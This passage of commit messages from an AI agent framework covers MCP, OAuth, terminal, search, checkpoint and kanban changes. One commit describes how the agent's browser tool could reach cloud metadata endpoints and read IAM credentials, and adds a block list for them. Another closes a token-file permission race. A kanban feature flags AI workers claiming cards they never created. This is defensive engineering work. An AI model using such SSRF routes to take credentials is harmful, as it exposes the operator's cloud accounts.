Logs and drops on malformed base64 / non-image payload rather than
raising — a single bad block shouldn't kill the tool call.
Distilled from #17915 (c3115644151) and #10848 (gnanirahulnutakki), both
too stale to cherry-pick (branches diverged enough to revert dozens of
unrelated fixes). Went with #10848's approach of plumbing through
Hermes' existing MEDIA tag / cache_image_from_bytes infrastructure
rather than #17915's raw tempfile path, because it integrates with the
remote-backend mount system and messaging adapters that already handle
MEDIA tags natively.
Co-authored-by: c3115644151 <c3115644151@users.noreply.github.com>
Co-authored-by: gnanirahulnutakki <gnanirahulnutakki@users.noreply.github.com>
* fix(mcp): re-raise CancelledError explicitly in MCPServerTask.run
On Python 3.11+, `asyncio.CancelledError` inherits from `BaseException`
(not `Exception`), so the broad `except Exception as exc:` in
`MCPServerTask.run`'s transport loop did NOT catch it. Task cancellation
from gateway restart / explicit `task.cancel()` silently escaped past
the reconnect logic — the MCP server task died without going through
the shutdown/reconnect code paths that check `_shutdown_event`.
Add an explicit `except asyncio.CancelledError: raise` before the broad
catch so cancellation propagation is self-documenting rather than an
accident of exception hierarchy, and future sibling-site work (e.g.
distinguishing shutdown-cancel from transport-cancel) has an obvious
hook. Behavior on pre-3.8 Pythons where CancelledError WAS an Exception
subclass is also corrected: the old path would have caught it and
treated it as a connection failure worth retrying.
Closes#9930.
* fix(mcp): forward OAuth auth and bump sse_read_timeout on SSE transport
Two surgical correctness bugs in the SSE branch of MCPServerTask._run_http,
distilled from @amiller's PR #5981 that couldn't be cherry-picked wholesale
(branch too stale).
1. sse_read_timeout was set to the tool timeout (default 60s). That's the
wrong dimension — it governs how long sse_client will wait between
events on the SSE stream, not per-call latency. SSE servers routinely
hold the stream idle for minutes between events; a 60s read timeout
drops the connection after the first slow stretch (Router Teamwork,
Supermemory on Cloudflare Workers idle-disconnect at ~60s). Bump to
300s to match the Streamable HTTP path's httpx read timeout.
2. OAuth auth was built via get_manager().get_or_build_provider() but
never forwarded to sse_client. SSE MCP servers behind OAuth 2.1 PKCE
would silently fail with 401s on every request.
Keepalive (the other half of #5981) intentionally left for a follow-up —
it's a real improvement but a bigger change, and these two are obvious
corrections to ship now. Credits to @amiller.
Co-authored-by: Andrew Miller <socrates1024@gmail.com>
---------
Co-authored-by: Andrew Miller <socrates1024@gmail.com>
On Python 3.11+, `asyncio.CancelledError` inherits from `BaseException`
(not `Exception`), so the broad `except Exception as exc:` in
`MCPServerTask.run`'s transport loop did NOT catch it. Task cancellation
from gateway restart / explicit `task.cancel()` silently escaped past
the reconnect logic — the MCP server task died without going through
the shutdown/reconnect code paths that check `_shutdown_event`.
Add an explicit `except asyncio.CancelledError: raise` before the broad
catch so cancellation propagation is self-documenting rather than an
accident of exception hierarchy, and future sibling-site work (e.g.
distinguishing shutdown-cancel from transport-cancel) has an obvious
hook. Behavior on pre-3.8 Pythons where CancelledError WAS an Exception
subclass is also corrected: the old path would have caught it and
treated it as a connection failure worth retrying.
Closes#9930.
PR #21238 introduced top-level `allOf: [{if/then/required}]` blocks in the
built-in memory tool's parameters schema as conditional-required hints.
Two problems:
1. OpenAI's Codex backend (chatgpt.com/backend-api/codex, gpt-5.x) rejects
top-level `allOf`/`anyOf`/`oneOf`/`enum`/`not` outright with a
non-retryable 400 — affected every user on openai-codex/gpt-5.x.
2. The `if/then` hints were silently ignored by every other provider
(Chat Completions doesn't honour them on function schemas), so they
never actually enforced anything anywhere.
The runtime handler in `memory_tool()` already validates the per-action
required fields and returns actionable error messages, so removing the
block changes nothing behaviourally.
Paired with the defense-in-depth sanitizer in the previous commit, this
closes the bug both at the source (schema no longer emits the forbidden
form) and at the wire boundary (sanitizer strips it if anything else
re-introduces it).
- Rewrites `tests/tools/test_memory_tool_schema.py` to guard against
regressing the forbidden-combinator shape instead of asserting it.
- Adds AUTHOR_MAP entry for @hrkzogw (author of the sanitizer fix).
When the parent agent uses a composite toolset like hermes-cli, calling
delegate_task with individual toolsets (e.g. web, terminal) resulted in
zero tools because the name-based intersection failed: 'web' != 'hermes-cli'.
Add _expand_parent_toolsets() which collects all tool names from parent
toolsets, then recognises any individual toolset whose tools are a subset
of the parent's available tools. This allows delegate_task(toolsets=['web'])
to work correctly when the parent has hermes-cli enabled.
Fixes#19447
Some exception classes (e.g. anyio.ClosedResourceError) are raised without
a message argument, so str(exc) returns an empty string. The existing error
format f'{type(exc).__name__}: {exc}' would produce messages like
'MCP call failed: ClosedResourceError: ' with nothing after the colon.
Add _exc_str() helper that falls back to repr(exc) when str(exc) is empty,
and apply it to all 6 MCP error formatting sites (5 tool/prompt/resource
handlers + 1 sampling handler).
Fixes#19417
Treat closed-resource, closed-transport, broken-pipe, and EOF MCP failures as stale session equivalents so the existing reconnect/retry-once path can recover. Add regression coverage for the stale-pipe marker variants.\n\nChecks:\n- python -m py_compile tools/mcp_tool.py tests/tools/test_mcp_tool_session_expired.py\n- python -m pytest tests/tools/test_mcp_tool_session_expired.py -q -o addopts=\n- selected secret scan over touched files
Track elapsed wall time in _run_on_mcp_loop, cancel the in-flight future when a timeout expires, and raise a descriptive TimeoutError that includes the elapsed and configured timeout. Add regression coverage for the new timeout diagnostics.
Fixes#9930
When an agent session is interrupted (Ctrl+C or gateway timeout), the
current thread's interrupt flag is set in _interrupted_threads. asyncio
executor threads are pooled and reused across sessions, so a thread that
carried an interrupt flag from a prior session will immediately cancel
any new asyncio work dispatched to it — including MCP server discovery.
Fix: in register_mcp_servers(), temporarily clear the interrupt flag on
the current thread before running _discover_all(), then restore it
afterward in a finally block so the original interrupt state is not lost.
Image generation plugins were dispatched without a model name, leaving
the plugin to pick its default. Users on OpenRouter, ComfyUI, or custom
backends had no way to select a specific model through config — they
had to fork the plugin or patch the tool.
Add _read_configured_image_model() that reads image_gen.model from the
active profile's config.yaml and forwards it into
_dispatch_to_plugin_provider(). When model is set, the plugin call
gains a 'model' kwarg; when unset, the plugin falls back to its own
default, so single-model users see no behavior change.
Example config:
image_gen:
provider: openrouter
model: flux-pro
Tests: all 170 image tool tests pass. The new code path is opt-in via
config and no existing test exercises it, so the change is strictly
additive.
Two fixes for the local terminal backend on Windows (Git Bash):
1. `_drain()` in base.py: `select.select()` only works on sockets on
Windows, not pipe file descriptors. On Windows, use blocking
`os.read()` in the daemon thread instead. EOF arrives promptly
when bash exits, so this is safe.
2. `_run_bash()` in local.py: When `self.cwd` is updated from `pwd`
output, it contains Git Bash-style paths (`/c/Users/...`).
`subprocess.Popen(cwd=...)` needs a native Windows path
(`C:\Users\...`). Added a conversion before Popen.
Without these fixes, all terminal() calls on Windows return empty
output (exit code 126), and cwd tracking breaks.
Tested on Windows 11 with Git for Windows + Python 3.13.
Fixes#14638
Lists the skills sitting in ~/.hermes/skills/.archive/ so users have
something to pass to `hermes curator restore`. `curator status` already
shows counts; this fills the name-discovery gap.
Archive layout is flat (`archive_skill` writes to `.archive/<skill>/`),
so the directory name IS the skill name — no frontmatter parsing
needed. Timestamped collision directories (`<skill>-<ts>`) are listed
literally; user can still pass them to `restore`.
Reshape of @EvilDrag0n's #20651, simplified: drop the frontmatter
rglob + preamble/trailer output + duplicate subcommand registration.
Co-authored-by: EvilDrag0n <lxl694522264@gmail.com>
Cloud metadata endpoints (169.254.169.254 etc.) are now always blocked
by browser_navigate regardless of hybrid routing, allow_private_urls,
or backend.
Bug: commit 42c076d3 (#16136) added hybrid routing that flips
auto_local_this_nav=True for private URLs and short-circuits
_is_safe_url(). IMDS endpoints are technically private (169.254/16
link-local), so the sidecar happily routed them to a local Chromium,
and the agent could read IAM credentials via browser_snapshot. On
EC2/GCP/Azure this is a full SSRF-to-credential-theft.
Fix: new is_always_blocked_url() in url_safety.py — a narrow floor
that checks _BLOCKED_HOSTNAMES, _ALWAYS_BLOCKED_IPS,
_ALWAYS_BLOCKED_NETWORKS only. Applied as an independent gate in
browser_navigate's pre-nav and post-redirect checks, BEFORE
auto_local_this_nav gets a chance to short-circuit. Ordinary private
URLs (localhost, 192.168.x, 10.x, .local, CGNAT) still route to the
local sidecar as the #16136 feature intends.
Secondary fix (reporter's finding): _url_is_private() now explicitly
checks 172.16.0.0/12. ipaddress.is_private only covers that range on
Python ≥3.11 (bpo-40791), so on 3.10 runtimes those URLs were routed
to cloud instead of the local sidecar. No security impact — just a
correctness fix for the hybrid-routing feature.
Closes#16234.
Add support for MCP servers using the SSE transport protocol
(SseServerTransport) alongside the existing Streamable HTTP and stdio
transports. Many MCP servers use SSE (GET /sse + POST /messages/)
which was previously unsupported -- the client silently fell back to
Streamable HTTP, causing 10s connection timeouts.
Changes:
- Import mcp.client.sse.sse_client with graceful fallback
- Check config.get('transport') == 'sse' in _run_http() to select
the SSE transport path with proper timeout handling
- Read transport type from config in get_mcp_status() instead of
hardcoding 'http' for URL-based servers
- Update docstring, example config, and feature list
The MCP SDK discovers OAuth server metadata (token_endpoint, etc.) on
demand and keeps it in memory only. Without disk persistence, a restart
with valid cached refresh tokens forces the SDK to fall back to the
guessed '{server_url}/token' path — which returns 404 on most real
providers (Notion, Atlassian, GitHub remote MCP, etc.) and triggers a
full browser re-authorization even though the refresh token is fine.
Add a .meta.json file next to the existing tokens/client_info files:
HERMES_HOME/mcp-tokens/<server>.json -- tokens (existing)
HERMES_HOME/mcp-tokens/<server>.client.json -- client info (existing)
HERMES_HOME/mcp-tokens/<server>.meta.json -- oauth metadata (new)
Changes:
- HermesTokenStorage.save_oauth_metadata / load_oauth_metadata / _meta_path
— disk layer for the discovered OAuthMetadata.
- HermesTokenStorage.remove() now also clears .meta.json so
'hermes mcp remove <name>' and the manager's remove() path clean up fully.
- HermesMCPOAuthProvider._initialize cold-restores from disk before the
existing pre-flight discovery runs. If disk has metadata we skip the
discovery HTTP round-trips entirely.
- HermesMCPOAuthProvider._prefetch_oauth_metadata now persists ASM as
soon as it's discovered, so even the first pre-flight run seeds disk.
- HermesMCPOAuthProvider._persist_oauth_metadata_if_changed() is called
at the end of async_auth_flow so metadata discovered via the SDK's
lazy 401-branch (not pre-flight) is also saved for next time.
Tests cover the storage roundtrip (save/load/missing/corrupt/remove) and
the manager provider path (cold-load restore, skip-when-in-memory,
persist-on-discover, noop-when-unchanged, end-to-end async_auth_flow).
Co-authored-by: nocturnum91 <50326054+nocturnum91@users.noreply.github.com>
Skills that produce large/lossless images (e.g. info-graph, where a
rendered JPG is 1-2 MB) currently lose quality in Telegram delivery
because `_IMAGE_EXTS` membership routes the file through
`send_multiple_images` → `sendMediaGroup`, which Telegram's server
re-encodes to JPEG @ 1280px max edge. The original bytes only survive
when the file goes through `send_document`, which the dispatch tables
in three places (`_process_message_background`, `_deliver_media_from_response`,
and the `send_message` tool's telegram path) only reach for files
whose extension is NOT in `_IMAGE_EXTS`.
This commit adds an `[[as_document]]` directive that mirrors the
existing `[[audio_as_voice]]` shape: a skill emits the directive once
in its response, and every image-extension MEDIA: file in that response
is delivered via `send_document` instead of `send_multiple_images` /
`sendPhoto`. The directive is detected at the dispatch sites (which see
the raw response) and the directive string is stripped from the
user-visible cleaned text in `extract_media` so it never leaks.
Granularity is intentionally all-or-nothing per response, matching
[[audio_as_voice]]'s scope. Skills that need fine control can split into
two responses.
Verified the targeted use case: info-graph emits
信息图已生成（...）
[[as_document]]
MEDIA:/tmp/info-graph-x/infographic.jpg
→ Telegram receives `infographic.jpg` via sendDocument, original 1MB
JPEG bytes preserved, no recompression. Forwarding and download
filenames stay clean (`infographic.jpg`).
Tests: +3 cases in TestExtractMedia covering directive strip, isolation
from voice flag, and coexistence with [[audio_as_voice]]. All
113 pre-existing media/extract/send tests pass.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The delegate_task tool schema descriptions referenced 'claude --acp --stdio'
as an example, but Claude Code CLI does not support --acp or --stdio flags.
The ACP subprocess transport (agent/copilot_acp_client.py) is specifically
built for GitHub Copilot CLI ('copilot --acp --stdio').
Changes:
- Per-task acp_command example: 'claude' → 'copilot'
- Top-level acp_command description: remove 'Claude Code' reference,
clarify requirement for ACP-compatible CLI (currently Copilot only)
- acp_args description: remove misleading claude-opus-4-6 example
Fixes#19055
The kanban_heartbeat tool called heartbeat_worker but never
heartbeat_claim, so a worker that loops the tool while a single tool
call blocks the agent for >DEFAULT_CLAIM_TTL_SECONDS still got
reclaimed by release_stale_claims. The function name and
heartbeat_claim's own docstring imply otherwise:
"Workers that know they'll exceed 15 minutes should call this
every few minutes to keep ownership."
But there was no caller in the worker tool path. Workers couldn't
invoke heartbeat_claim themselves either — it isn't exposed as a tool.
Fix: _handle_heartbeat now calls heartbeat_claim first, reading
HERMES_KANBAN_CLAIM_LOCK from the worker env (the dispatcher pins
this in _default_spawn). Falls back to _claimer_id() for locally-
driven workers that didn't go through dispatcher spawn.
Test: tests/tools/test_kanban_tools.py::test_heartbeat_extends_claim_expires
rewinds claim_expires into the past, calls the tool, and asserts the
new value is at least now + DEFAULT_CLAIM_TTL_SECONDS // 2. Verified to
fail against the unfixed code (claim_expires stays at the rewound
value).
Closes the root cause underlying the symptom in #21141 (15-min
respawns of long-running workers). #21141 separately addresses
post-reclaim cleanup; this fixes the upstream "shouldn't have been
reclaimed in the first place" half.
When terminal.backend is docker, inbound documents uploaded via messaging
platforms (Telegram, Slack, Discord, Feishu, Email, etc.) are cached at a host
path under ~/.hermes/cache/documents, but the container sandbox only sees them
at the auto-mounted /root/.hermes/cache/documents path.
This PR adds to_agent_visible_cache_path() in tools/credential_files.py (the
natural sibling to get_cache_directory_mounts()) and calls it at the
document-context-injection site in gateway/run.py so the agent always receives
a path it can open directly, matching the mount layout already established
by get_cache_directory_mounts() (#4846).
Scope: only Docker backend for now; other backends use different mount
semantics and are left unchanged until verified.
Fixes#18787
_write_json (the persistence helper used by HermesTokenStorage for both
tokens and client_info) created the temp file via Path.write_text and
only chmod'd it to 0o600 afterward. Between create and chmod the file
existed on disk at the process umask (commonly 0o644 = world-readable),
briefly exposing MCP OAuth access/refresh tokens to other local users.
Use os.open with O_WRONLY|O_CREAT|O_EXCL and an explicit S_IRUSR|S_IWUSR
mode so the file is created atomically at 0o600, plus tighten the parent
dir to 0o700 so siblings can't traverse to the creds file. The temp name
also gains a per-process random suffix to avoid collisions between
concurrent writers and stale leftovers from a crashed prior write.
Mirrors the fix shipped for agent/google_oauth.py in #19673.
Adds a regression test asserting the resulting file mode is 0o600 and
the parent directory is 0o700 (skipped on Windows where POSIX mode bits
aren't enforced).
Adds SearXNG as a free, self-hosted web search provider. SearXNG is a
privacy-respecting metasearch engine that requires no API key — just a
running instance and SEARXNG_URL pointing at it.
## What this adds
- `tools/web_providers/searxng.py` — `SearXNGSearchProvider` implementing
`WebSearchProvider` (search only; no extract capability)
- `_is_backend_available("searxng")` — gates on SEARXNG_URL
- `_get_backend()` — accepts "searxng" as a configured value; adds it to
auto-detect candidates (lower priority than paid services)
- `web_search_tool` — dispatches to SearXNG when it is the active backend
- `check_web_api_key()` — includes SearXNG in availability check
- `OPTIONAL_ENV_VARS["SEARXNG_URL"]` — registered with tools=["web_search"]
- `tools_config.py` — SearXNG appears in the `hermes tools` provider picker
- `nous_subscription.py` — `direct_searxng` detection, web_active / web_available
- `setup.py` — SEARXNG_URL listed in the missing-credential hint
- 23 tests covering: is_configured, happy-path search, score sorting, limit,
HTTP/request errors, _is_backend_available, _get_backend, check_web_api_key
## Config
```yaml
# Use SearXNG for search, any paid provider for extract
web:
search_backend: "searxng"
extract_backend: "firecrawl"
# Or: SearXNG as the sole backend (web_extract will use the next available)
web:
backend: "searxng"
```
SearXNG is search-only — it does not implement WebExtractProvider. Users
who only configure SEARXNG_URL get web_search available; web_extract falls
back to the next available extract provider (or is unavailable if none).
Closes#19198 (Phase 2 Task 4 — SearXNG provider)
Ref: #11562 (original SearXNG PR)
Introduce the foundation for independently selecting web search and
extract backends — enabling future combinations like SearXNG for
search + Firecrawl for extract.
Architecture:
- tools/web_providers/base.py: WebSearchProvider and WebExtractProvider
ABCs with normalized result contracts (mirrors CloudBrowserProvider)
- tools/web_tools.py: _get_search_backend() and _get_extract_backend()
read per-capability config keys, fall through to shared web.backend
- hermes_cli/config.py: web.search_backend and web.extract_backend in
DEFAULT_CONFIG (empty = inherit from web.backend)
Behavioral change:
- web_search_tool() now dispatches via _get_search_backend()
- web_extract_tool() now dispatches via _get_extract_backend()
- When per-capability keys are empty (default), behavior is identical
to before — _get_search_backend() falls through to _get_backend()
This is purely structural — no new backends are added. SearXNG and
other search-only/extract-only providers can now be added as simple
drop-in modules in follow-up PRs.
12 new tests, 49 existing tests pass with zero regressions.
Ref: #19198
Replaces the per-directory shadow-repo design with a single shared shadow
git store at ~/.hermes/checkpoints/store/. Object DB is now deduplicated
across every working directory the agent has ever touched; a dozen
worktrees of the same project cost near-zero in additional disk.
Why
---
Pre-v2 design had three compounding problems that let ~/.hermes/checkpoints/
grow to multi-GB on active machines:
1. Each working directory got its own full shadow git repo — no object
dedup across projects or across worktrees of the same project.
2. _prune() was a documented no-op: max_snapshots only limited the
/rollback listing. Loose objects accumulated forever.
3. Defaults: enabled=True, auto_prune=False — users paid the disk cost
without ever asking for /rollback.
Field report on a single workstation: 847 MB across 47 shadow repos,
mostly redundant clones of the hermes-agent source tree.
Changes
-------
- tools/checkpoint_manager.py: full rewrite. Single bare store, per-project
refs (refs/hermes/<hash>), per-project indexes (store/indexes/<hash>),
per-project metadata (store/projects/<hash>.json with workdir +
created_at + last_touch). On first v2 init, any pre-v2 per-directory
shadow repos are auto-migrated into legacy-<timestamp>/ so the new
store starts clean. _prune() now actually rewrites the per-project ref
to the last max_snapshots commits and runs git gc --prune=now. New
_enforce_size_cap() drops oldest commits round-robin across projects
when the store exceeds max_total_size_mb. _drop_oversize_from_index()
filters any single file larger than max_file_size_mb out of the snapshot.
- hermes_cli/checkpoints.py: new 'hermes checkpoints' CLI
(status / list / prune / clear / clear-legacy) for managing the store
outside a session.
- hermes_cli/config.py: flipped defaults — enabled=False, max_snapshots=20,
auto_prune=True. Added max_total_size_mb=500, max_file_size_mb=10.
Tightened DEFAULT_EXCLUDES (added target/, *.so/*.dylib/*.dll,
*.mp4/*.mov, *.zip/*.tar.gz, .worktrees/, .mypy_cache/, etc.).
- run_agent.py / cli.py / gateway/run.py: thread the new kwargs through
AIAgent and the startup auto_prune hooks.
- Tests rewritten to match v2 storage while keeping backwards-compat
coverage for the pre-v2 prune path (per-directory shadow repos under
base/ are still swept correctly for anyone mid-migration).
- Docs updated: user-guide/checkpoints-and-rollback.md explains the
shared store, new defaults, migration, and the new CLI;
reference/cli-commands.md documents 'hermes checkpoints'.
E2E validated
-------------
- Legacy migration: pre-v2 shadow repos auto-archived into legacy-<ts>/.
- Object dedup: two projects with an identical shared.py blob resolve to
7 total objects in the store (v1 would have stored the blob twice).
- max_snapshots=3 actually enforced: after 6 commits, list shows 3.
- Orphan prune: deleting a project's workdir + 'hermes checkpoints prune
--retention-days 0' removes its ref, index, and metadata; GC reclaims
the objects.
- max_file_size_mb=1 excludes a 2 MB weights.bin while keeping the
tracked source code files.
- hermes checkpoints {status,prune,clear,clear-legacy} all work from the
CLI without an agent running.
Breaking / migration
--------------------
No in-place data migration — legacy per-directory shadow repos are moved
into legacy-<timestamp>/ on first run. Old /rollback history is still
accessible by inspecting the archive with git; run
'hermes checkpoints clear-legacy' to reclaim the space when ready. Users
relying on /rollback must now set checkpoints.enabled=true (or pass
--checkpoints) explicitly.
Add Lightpanda as an optional browser engine for local mode.
Lightpanda is a headless browser built from scratch in Zig -- faster
navigation than Chrome with significantly less memory.
One config line to enable:
browser:
engine: lightpanda
New functions in browser_tool.py:
- _get_browser_engine() -- config/env reader with validation + caching
- _should_inject_engine() -- only inject in local non-cloud mode
- _needs_lightpanda_fallback() -- detect empty/failed LP results
- _chrome_fallback_screenshot() -- temporary Chrome session for screenshots
- Engine injection in _run_browser_command (--engine flag)
- browser_vision pre-routes screenshots to Chrome when engine=lightpanda
Config:
- browser.engine in DEFAULT_CONFIG (auto/lightpanda/chrome)
- AGENT_BROWSER_ENGINE in OPTIONAL_ENV_VARS
- /browser status shows engine info in local mode
Rebased from PR #7144 onto current main. All existing code preserved --
pure additions only (+520/-2).
25 new tests + 81 total browser tests pass (0 failures).
README:24 claimed "Six terminal backends" while tools/environments/ exposes
seven top-level backend choices through TERMINAL_ENV: local, docker, ssh,
singularity, modal, daytona, vercel_sandbox. Modal additionally has direct
and Nous-managed modes selected via terminal.modal_mode (the
ManagedModalEnvironment class is a Modal sub-mode, not a separate top-level
backend).
The same drift appeared in five other doc and code-comment sites with
inconsistent counts (six, seven, or implicit) and varying lists. Updated
all sites to a consistent seven-backend list in canonical order. The
configuration guide also clarifies how Modal's two modes are selected so
operators do not search for a non-existent backend: managed_modal value.
CONTRIBUTING.md:160 lists six backend filenames in a code tree but does
not carry the "Six terminal" prose; left out of scope per cohesion sweep
guidance to bundle only identical wording.
Files updated:
- README.md (line 24, marketing copy)
- website/docs/index.md (line 49, landing page)
- website/docs/user-guide/configuration.md (line 86, config guide)
- tools/environments/__init__.py (lines 3-6, package docstring)
- tools/file_operations.py (line 6, module docstring)
- environments/README.md (line 43, RL training docs — TERMINAL_ENV list)
The comment at tools/web_tools.py:700-702 stated the runtime default for
auxiliary.web_extract.timeout is 360s. The actual runtime default is 30s
(_DEFAULT_AUX_TIMEOUT in agent/auxiliary_client.py:3140), used by
_get_task_timeout when no auxiliary.web_extract.timeout key is present in
config.yaml.
The 360s figure is the config template default written by
hermes_cli/config.py:697 into freshly-generated config.yaml files. It only
takes effect when that key exists in the user's config — not as a fallback.
Users on configs that predate commit 20b4060d (Apr 5, 2026), or who removed
the key, fall through to the 30s _DEFAULT_AUX_TIMEOUT runtime default.
The comment was introduced in 20b4060d alongside the template-default bump
from 30 to 360. The runtime default in auxiliary_client.py was not changed
in that commit and has remained 30s since 839d9d74 (Mar 28, 2026).
Workers completing a kanban task can now claim the ids of cards they
created via an optional ``created_cards`` field on ``kanban_complete``.
The kernel verifies each id exists and was created by the completing
worker's profile; any phantom id blocks the completion with a
``HallucinatedCardsError`` and records a
``completion_blocked_hallucination`` event on the task so the rejected
attempt is auditable. Successful completions also get a non-blocking
prose-scan pass over their ``summary`` + ``result`` that emits a
``suspected_hallucinated_references`` event for any ``t_<hex>``
reference that doesn't resolve.
Closes#20017.
Recovery UX (kernel + CLI + dashboard)
--------------------------------------
A structural gate alone isn't enough — operators also need to see and
act on stuck workers, especially when a profile's model is the root
cause. This PR ships the full loop:
* ``kanban_db.reclaim_task(task_id)`` — operator-driven reclaim that
releases an active worker claim immediately (unlike
``release_stale_claims`` which only acts after claim_expires has
passed). Emits a ``reclaimed`` event with ``manual: True`` payload.
* ``kanban_db.reassign_task(task_id, profile, reclaim_first=...)`` —
switch a task to a different profile, optionally reclaiming a stuck
running worker in the same call.
* ``hermes kanban reclaim <id> [--reason ...]`` and
``hermes kanban reassign <id> <profile> [--reclaim] [--reason ...]``
CLI subcommands wired through to the same helpers.
* ``POST /api/plugins/kanban/tasks/{id}/reclaim`` and
``POST /api/plugins/kanban/tasks/{id}/reassign`` endpoints on the
dashboard plugin.
Dashboard surfacing
-------------------
* ⚠ **warning badge** on cards with active hallucination events.
* **attention strip** at the top of the board listing all flagged
tasks; dismissible per session.
* **events callout** in the task drawer — hallucination events render
with a red left border, amber icon, and phantom ids as styled chips.
* **recovery section** in the task drawer with three actions: Reclaim,
Reassign (with profile picker + reclaim-first checkbox), and a
copy-to-clipboard hint for ``hermes -p <profile> model`` since
profile config lives on disk and can't be edited from the browser.
Auto-opens when the task has warnings, collapsed otherwise.
Keyed by task id so state doesn't leak between drawers.
Active-vs-stale rule: warnings clear when a clean ``completed`` or
``edited`` event supersedes the hallucination, so recovery is never
permanently stigmatising — the audit events persist for debugging but
the badge goes away once the worker succeeds.
Skill updates
-------------
* ``skills/devops/kanban-worker/SKILL.md`` documents the
``created_cards`` contract with good/bad examples.
* ``skills/devops/kanban-orchestrator/SKILL.md`` gains a "Recovering
stuck workers" section with the three actions and when to use each.
Tests
-----
* Kernel gate: verified-cards manifest, phantom rejection + audit
event, cross-worker rejection, prose scan positive + negative.
* Recovery helpers: reclaim on running task, reclaim on non-running
returns False, reassign refuses running without reclaim_first,
reassign with reclaim_first succeeds on running.
* API endpoints: warnings field present on /board and /tasks/:id,
warnings cleared after clean completion, reclaim 200 + 409 paths,
reassign 200 + 409 + reclaim_first paths.
* CLI smoke: reclaim + reassign subcommands.
Live-verified end-to-end on a dashboard with seeded scenarios:
attention strip renders, badges land on the right cards, drawer
callout shows phantom chips, Reclaim on a running task flips status to
ready + emits manual reclaimed event + refreshes the drawer,
Reassign swaps the assignee and triggers board refresh.
359/359 kanban-suite tests pass
(test_kanban_{db,cli,boards,core_functionality} + dashboard + tools).
* revert(gateway): remove stale-code self-check and auto-restart
Removes the _detect_stale_code / _trigger_stale_code_restart mechanism
introduced in #17648 and iterated in #19740. On every incoming message
the gateway compared the boot-time git HEAD SHA to the current SHA on
disk, and if they differed it would reply with
Gateway code was updated in the background --
restarting this gateway so your next message runs
on the new code. Please retry in a moment.
and then kick off a graceful restart. This is unwanted behaviour:
users who run a long-lived gateway and do their own ad-hoc git
operations on the checkout end up with their chat interrupted and
the current message dropped every time HEAD moves, with no way to
opt out.
If an operator really needs the old protection against stale
sys.modules after "hermes update", the SIGKILL-survivor sweep in
hermes update (hermes_cli/main.py, also tagged #17648) already
handles the supervisor-respawn case on its own.
Removed:
gateway/run.py:
- _STALE_CODE_SENTINELS, _GIT_SHA_CACHE_TTL_SECS
- _read_git_head_sha(), _compute_repo_mtime() module helpers
- class-level _boot_wall_time / _boot_repo_mtime / _boot_git_sha /
_stale_code_restart_triggered defaults
- __init__ boot-snapshot block (_boot_*, _cached_current_sha*,
_repo_root_for_staleness, _stale_code_notified)
- _current_git_sha_cached(), _detect_stale_code(),
_trigger_stale_code_restart() methods
- stale-code check + user-facing restart notice at the top of
_handle_message()
tests/gateway/test_stale_code_self_check.py (deleted, 412 lines)
No new logic added. Zero remaining references to any removed
symbol. Gateway test suite passes the same 4589 tests it passed
before; the 3 pre-existing unrelated failures (discord free-channel,
feishu bot admission, teams typing) are unchanged by this commit.
* feat(i18n): add display.language for static message translation (zh/ja/de/es)
Adds a thin-slice i18n layer covering the highest-impact static user-facing
messages: the CLI dangerous-command approval prompt and a handful of gateway
slash-command replies (restart-drain, goal cleared, approval expired, config
read/save errors).
Out of scope (stays English): agent responses, log lines, tool outputs,
slash-command descriptions, error tracebacks.
Infrastructure:
- agent/i18n.py: catalog loader, t() helper, language resolution
(HERMES_LANGUAGE env var > display.language config > en)
- locales/{en,zh,ja,de,es}.yaml: ~19 translated strings per language
- display.language in DEFAULT_CONFIG (hermes_cli/config.py)
Tests:
- tests/agent/test_i18n.py: 21 tests covering catalog parity, placeholder
parity across locales, fallback behavior, env-var override, alias
normalization, missing-key graceful degradation.
Docs:
- website/docs/user-guide/configuration.md: display.language entry plus a
short section explaining scope so users don't expect agent responses to
translate via this knob.
Sends a lightweight list_tools() probe every 3 minutes during idle
periods to prevent TCP connections from going stale behind LB / NAT
idle timeouts (commonly 300-600s). When the keepalive fails, the
reconnect event fires so the transport rebuilds the session cleanly.
Salvages the keepalive portion of @vominh1919's PR #17016. The
circuit-breaker half-open recovery from the same PR was independently
landed on main via #benbarclay's commit 8cc3cebca ("fix(mcp): add
half-open state to circuit breaker", Apr 21); only the keepalive is
salvaged here.
Fixes#17003.
Previously, pinning a skill blocked every skill_manage write action
(edit, patch, delete, write_file, remove_file). The 'hard fence'
design conflated two concerns:
1. Pin as deletion protection — don't let the curator archive
or the agent delete a stable skill.
2. Pin as content freeze — don't let the agent rewrite it mid-conversation.
In practice (1) is what users pin for: they want a skill to survive
curator passes. (2) created friction — agents finding a new pitfall
in a pinned skill had to ask the user to unpin, then the agent
patches, then the user re-pins. The dance discouraged skill
maintenance and pinned skills went stale.
This narrows the _pinned_guard to skill_manage(action='delete') only.
Patches, edits, and supporting-file writes go through on pinned
skills so the agent can keep improving them. The curator's own
pinned-skip behavior (agent/curator.py:271 for auto-archive,
line 349 for the LLM review prompt) is unchanged — curator still
never touches pinned skills.
Changes:
- tools/skill_manager_tool.py: remove _pinned_guard calls from
_edit_skill, _patch_skill, _write_file, _remove_file; keep on
_delete_skill. Updated _pinned_guard docstring and error message.
- tools/skill_manager_tool.py: updated skill_manage model-facing tool
description to reflect the new semantic.
- website/docs/user-guide/features/curator.md: updated pinning
section.
- tests/tools/test_skill_manager_tool.py: flipped refuses-pinned
tests for edit/patch/write_file/remove_file into allowed-when-pinned;
kept test_delete_refuses_pinned (strengthened assertion to check the
'cannot be deleted' wording).
Closes#18354
Closes the gap where write_file skipped the post-edit syntax check that
patch already ran, so silent file corruption (bad quote escaping,
truncated writes, etc.) would persist on disk until a later read.
## Changes
tools/file_operations.py:
- Add in-process linters for .py, .json, .yaml, .toml (LINTERS_INPROC).
Python uses ast.parse, JSON/YAML/TOML use stdlib/PyYAML parsers.
Zero subprocess overhead; preferred over shell linters when both apply.
- _check_lint() now accepts optional content and routes to in-process
linter first. Shell linter (py_compile, node --check, tsc, go vet,
rustfmt) remains the fallback for languages without an in-process
equivalent.
- New _check_lint_delta() implements the post-first/pre-lazy pattern
borrowed from Cline and OpenCode: lint post-write state first; only
if errors are found AND pre-content was captured does it lint the
pre-state and diff. If the pre-existing file had the SAME errors the
edit didn't introduce anything new, so the file is reported as 'still
broken, pre-existing' with success=False but a message explaining the
errors were pre-existing. If the edit introduced genuinely new errors,
those are surfaced and pre-existing ones are filtered out.
- WriteResult gains a lint field.
- write_file() captures pre-content for in-process-lintable extensions
and calls _check_lint_delta after a successful write.
- patch_replace() switches from _check_lint to _check_lint_delta,
reusing the pre-edit content it already has in scope.
tools/file_tools.py:
